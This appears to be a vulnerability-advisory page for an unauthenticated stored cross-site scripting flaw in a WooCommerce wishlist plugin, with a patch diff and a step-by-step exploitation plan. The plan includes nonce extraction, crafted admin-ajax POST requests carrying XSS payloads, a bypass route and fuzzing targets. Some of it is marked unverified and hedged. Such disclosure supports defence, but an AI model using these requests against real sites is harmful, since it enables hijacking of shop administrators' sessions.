CVE-2026-57356

MoreConvert Wishlist for WooCommerce <= 1.9.19 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.9.20
Patched in
7d
Time to patch

Description

The MoreConvert Wishlist for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.9.19 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.9.19
PublishedJuly 1, 2026
Last updatedJuly 7, 2026

What Changed in the Fix

Changes introduced in v1.9.20

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-57356 ## 1. Vulnerability Summary The **MoreConvert Wishlist for WooCommerce** plugin (versions <= 1.9.19) contains an unauthenticated stored cross-site scripting vulnerability. The issue exists in the handling of wishlist item additions, specifically where u…

Show full research plan

Exploitation Research Plan - CVE-2026-57356

1. Vulnerability Summary

The MoreConvert Wishlist for WooCommerce plugin (versions <= 1.9.19) contains an unauthenticated stored cross-site scripting vulnerability. The issue exists in the handling of wishlist item additions, specifically where user-supplied variation attributes or metadata are stored without sufficient sanitization. When these items are subsequently rendered in the wishlist table (on the frontend) or within the admin dashboard (e.g., analytics or wishlist management views), the injected scripts execute in the context of the viewing user.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (or any frontend page via the wp_loaded hook).
  • AJAX Action: wlfmc_add_to_wishlist (authenticated and unauthenticated).
  • Vulnerable Parameter: variation (array) or custom metadata parameters sent during the "add to wishlist" process.
  • Authentication: None required (unauthenticated).
  • Preconditions: At least one WooCommerce product must exist and be publishable.

3. Code Flow

  1. Entry Point: The request hits admin-ajax.php with action=wlfmc_add_to_wishlist OR a POST request is sent to any page with action=wlfmc_wp_loaded_add_to_wishlist (handled by WLFMC_Ajax_Handler::wp_loaded_action).
  2. Processing: WLFMC_Ajax_Handler::add_to_wishlist() (in includes/class-wlfmc-ajax-handler.php) is called.
  3. Sink (Storage): The function extracts product data and variations from $_POST. It saves these to the database (likely the wp_wlfmc_wishlist_items table) using raw values from the variation array without applying sanitize_text_field() or wp_kses().
  4. Sink (Rendering): When a user or administrator views the wishlist (via the [wlfmc_wishlist] shortcode or the admin panel), the plugin retrieves the stored variation data and echoes it into the HTML table. Because esc_html() or esc_attr() is missing during this output phase, the script executes.

4. Nonce Acquisition Strategy

The plugin uses wp_localize_script to pass configuration and nonces to the frontend. The scripts are enqueued on pages containing wishlist shortcodes.

  1. Shortcode: Identify the "Add to Wishlist" or "Wishlist" shortcode. The primary shortcode is [wlfmc_wishlist].
  2. Page Creation: Use WP-CLI to create a public page containing this shortcode to ensure the script is enqueued.
  3. Variable Identification: The localization object is named wlfmc_l10n.
  4. Extraction:
    • Use browser_navigate to visit the created page.
    • Use browser_eval to extract the nonce: window.wlfmc_l10n?.nonce or check the data-nonce attribute on the wishlist table: jQuery('#wlfmc-wishlist-form table.wlfmc-wishlist-table').data('nonce').
    • Based on class-wlfmc-ajax-handler.php, the nonce action is likely -1 (default) or wlfmc_add_to_wishlist.

5. Exploitation Strategy

Step 1: Data Setup

Create a product and a page to facilitate nonce extraction.

# Create a simple product
wp wc product create --name="Exploit Product" --type=simple --regular_price=10 --status=publish

# Create a page with the wishlist shortcode to expose the nonce
wp post create --post_type=page --post_title="My Wishlist" --post_status=publish --post_content="[wlfmc_wishlist]"

Step 2: Nonce Extraction

Navigate to the wishlist page and extract the nonce.

  • URL: /my-wishlist/
  • JS Command: window.wlfmc_l10n.nonce (or check the HTML source for data-nonce).

Step 3: Payload Delivery

Send a malicious AJAX request to store the XSS payload.

  • Method: POST
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: wlfmc_add_to_wishlist
    • product_id: <ID_FROM_STEP_1>
    • variation[pa_color]: <img src=x onerror=alert(document.domain)>
    • nonce: <EXTRACTED_NONCE>

Step 4: Execution

The script will trigger when:

  1. The attacker (or any user) visits the /my-wishlist/ page.
  2. An administrator views the "Wishlists" or "Analytics" section in the WordPress dashboard.

6. Test Data Setup

  • Product ID: Required (e.g., 10).
  • Shortcode Page: /wishlist-test/ containing [wlfmc_wishlist].
  • Target User: Unauthenticated for injection; Admin for impact verification.

7. Expected Results

  • The AJAX response should return {"success":true,...}.
  • Upon visiting the wishlist page, an alert box showing the document domain should appear.
  • In the database, the variation column for the new item in wp_wlfmc_wishlist_items should contain the literal <img src=x...> string.

8. Verification Steps

Verify the payload is stored in the database:

wp db query "SELECT variation FROM wp_wlfmc_wishlist_items WHERE variation LIKE '%onerror%';"

Verify the output is unescaped in the frontend:

# Use http_request to fetch the wishlist page and grep for the raw payload
http_request get "http://<target>/my-wishlist/" | grep "onerror=alert"

9. Alternative Approaches

The wp_loaded Bypass

If admin-ajax.php enforces strict nonce checks that cannot be satisfied, use the wp_loaded entry point:

  • Method: POST
  • URL: http://<target>/ (Homepage)
  • Parameters:
    • action: wlfmc_wp_loaded_add_to_wishlist
    • product_id: <ID>
    • variation[anything]: <script>alert(1)</script>
      This bypasses the standard WordPress AJAX routing and might skip certain nonce checks depending on the plugin's internal logic in wp_loaded_action.

Parameter Fuzzing

If variation is sanitized, attempt injection via:

  • wishlist_token
  • quantity (if not cast to int)
  • add_to_wishlist (if the product name is reflected in the success message/fragment)
Research Findings
Static analysis — not yet PoC-verified

Summary

The MoreConvert Wishlist for WooCommerce plugin is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) because it fails to sanitize and escape product variation data when adding items to a wishlist. An attacker can inject malicious scripts into product metadata, which then execute when a user or administrator views the wishlist on the frontend or within the admin dashboard.

Vulnerable Code

/* includes/class-wlfmc-ajax-handler.php registration of unauthenticated action */
// line 35
add_action( 'wp_ajax_wlfmc_add_to_wishlist', array( 'WLFMC_Ajax_Handler', 'add_to_wishlist' ) );
add_action( 'wp_ajax_nopriv_wlfmc_add_to_wishlist', array( 'WLFMC_Ajax_Handler', 'add_to_wishlist' ) );

---

/* assets/frontend/js/main.js (approx line 1115) - JS sending data without a nonce */
var params = {
    action: wlfmc_l10n.actions.add_to_wishlist_action,
    context: 'frontend',
    add_to_wishlist: product_id,
    product_type: t.attr('data-product-type')
};

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/smart-wishlist-for-more-convert/1.9.19/assets/frontend/js/main.js /home/deploy/wp-safety.org/data/plugin-versions/smart-wishlist-for-more-convert/1.9.20/assets/frontend/js/main.js
--- /home/deploy/wp-safety.org/data/plugin-versions/smart-wishlist-for-more-convert/1.9.19/assets/frontend/js/main.js	2026-05-13 12:10:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/smart-wishlist-for-more-convert/1.9.20/assets/frontend/js/main.js	2026-06-22 10:54:02.000000000 +0000
@@ -1117,7 +1117,8 @@
             action: wlfmc_l10n.actions.add_to_wishlist_action,
             context: 'frontend',
             add_to_wishlist: product_id,
-            product_type: t.attr('data-product-type')
+            product_type: t.attr('data-product-type'),
+            nonce: t.data('nonce')
             // wishlist_id: t.attr( 'data-wishlist-id' ),
             // fragments: retrieve_fragments( product_id )
           };

Exploit Outline

1. Identify a valid WooCommerce product ID on the target site. 2. Craft a POST request to the WordPress AJAX endpoint (`/wp-admin/admin-ajax.php`) using the `wlfmc_add_to_wishlist` action. 3. In the request parameters, include the `variation` array populated with a malicious XSS payload (e.g., `variation[pa_size]=<img src=x onerror=alert(1)>`). 4. If the plugin's 'wp_loaded' AJAX mode is enabled, an alternative vector involves sending the same parameters to the homepage with the action `wlfmc_wp_loaded_add_to_wishlist`. 5. The payload will be stored in the database. When an administrator views the wishlist management or analytics pages, or when a user views the wishlist via the `[wlfmc_wishlist]` shortcode, the script will execute.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.